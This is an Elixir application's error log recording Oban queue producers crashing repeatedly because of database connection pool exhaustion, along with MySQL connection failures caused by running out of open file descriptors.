State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:49:26.241915Z], limit: 5, uuid: "e42da682-9a3c-4208-9871-b7b130ab6575", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:26.241920Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31463>, refresh_timer: #Reference<0.2525715032.1099431938.33639>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:49:26.240934Z], limit: 20, uuid: "52c22590-be2d-4b5a-b580-df745a46a88e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:26.240940Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31465>, refresh_timer: #Reference<0.2525715032.1077673987.4258>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 846ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:49:26.238680Z], limit: 50, uuid: "b7f94178-782d-4d36-b84f-59e02e3f03ea", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:26.238684Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31462>, refresh_timer: #Reference<0.2525715032.1068498948.31422>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:39.243000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:40.065000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:42.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:42.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:42.546000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:45.142000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:47.205000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1043ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:49:38.240296Z], limit: 50, uuid: "95ab18f8-9071-4f76-9656-c88260e9823d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:38.240302Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31730>, refresh_timer: #Reference<0.2525715032.1099431938.33794>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:50.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1024ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:49:38.240287Z], limit: 20, uuid: "2ad84460-a1bc-482f-ab19-1142afbc29ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:38.240294Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31732>, refresh_timer: #Reference<0.2525715032.1077673987.4477>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:49:38.240079Z], limit: 10, uuid: "76839640-7850-41de-a2f3-f495b838e673", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:38.240086Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31719>, refresh_timer: #Reference<0.2525715032.1068498948.31707>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:49:38.239658Z], limit: 5, uuid: "77da8b0f-fc17-4dfb-80fc-6b7a58e3e771", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:38.239665Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31721>, refresh_timer: #Reference<0.2525715032.1068498948.31689>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:50.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 853ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:49:38.240195Z], limit: 5, uuid: "c6507b35-9610-4435-93c7-f95ef05ed909", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:38.240202Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31720>, refresh_timer: #Reference<0.2525715032.1068498948.31710>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:50.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:49:38.239820Z], limit: 3, uuid: "22a2d113-64a8-4b0b-9620-f5eca0519911", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:49:38.239827Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.31731>, refresh_timer: #Reference<0.2525715032.1099431938.33780>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:49:51.975000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:53.045000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:53.924000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:55.369000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:55.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:49:58.570000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
